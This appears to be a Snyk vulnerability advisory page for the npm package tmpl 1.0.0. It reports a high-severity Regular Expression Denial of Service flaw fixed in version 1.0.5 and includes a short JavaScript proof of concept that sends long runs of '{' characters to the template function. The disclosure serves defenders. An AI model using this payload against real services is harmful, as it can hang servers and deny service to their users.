tmpl@1.0.0 vulnerabilities

JavaScript micro templates.

  • latest version

    1.0.5

  • latest non vulnerable version

  • first published

    13 years ago

  • latest version published

    3 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the tmpl package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Regular Expression Denial of Service (ReDoS)

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the main functionality.

    PoC

    var tmpl = require("tmpl")
    for(var i = 1; i <= 1000; i++) {
            var time = Date.now();
            payload = "hello, " + "{".repeat(i*10000) + "day"
            tmpl(payload, {day: "tomorrow"})
            var time_taken = Date.now() - time;
            console.log("payload length: " + payload.length + " - time taken: " + time_taken + "ms")
    }
    

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade tmpl to version 1.0.5 or higher.

    <1.0.5